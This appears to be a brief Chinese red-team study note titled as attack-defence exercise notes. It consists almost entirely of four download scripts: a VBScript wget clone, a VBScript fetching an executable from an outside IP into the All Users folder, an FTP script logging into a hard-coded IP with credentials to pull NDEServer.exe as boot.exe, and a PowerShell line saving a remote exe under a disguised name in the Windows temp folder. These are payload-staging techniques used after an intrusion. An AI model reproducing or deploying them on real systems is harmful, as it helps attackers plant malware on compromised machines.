攻防演练学习笔记

正文

wget.vbs

1
set x= createobject("microsoft.xmlhttp"):x.open "get",lcase(wscript.arguments(0)),0:x.send():set s = createobject("adodb.stream"):s.mode = 3:s.type = 1:s.open():s.write(x.responsebody):s.savetofile lcase(wscript.arguments(1)),2

f2a.vbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Dim obj1,obj2 
Dim url 
start = timer 
url = "http://x.x.x.x/SQLAGENTIHC.exe"   
Set obj1 = CreateObject("msxml2.xmlhttp") 
Set obj2 = CreateObject("adodb.stream") 
obj1.open "get",url,False 
obj1.send 
temp = obj1.responseBody 
obj2.Type = 1 
obj2.Mode = 3 
obj2.Open() 
obj2.Write(temp) 
obj2.SaveToFile "C:\Users\AllUse~1\SQLAGENTIHC.exe",2

ftp.vbs

1
2
3
4
5
open 221.229.215.227
110
110
get NDEServer.exe C:\ProgramData\boot.exe
bye

download.ps1

1
2
$client = New-Object System.Net.WebClient  
$client.DownloadFile("http://9x.x.x.x/PL-0000-t.exe","C:\Windows\TEMP\KLPBO16A.exe")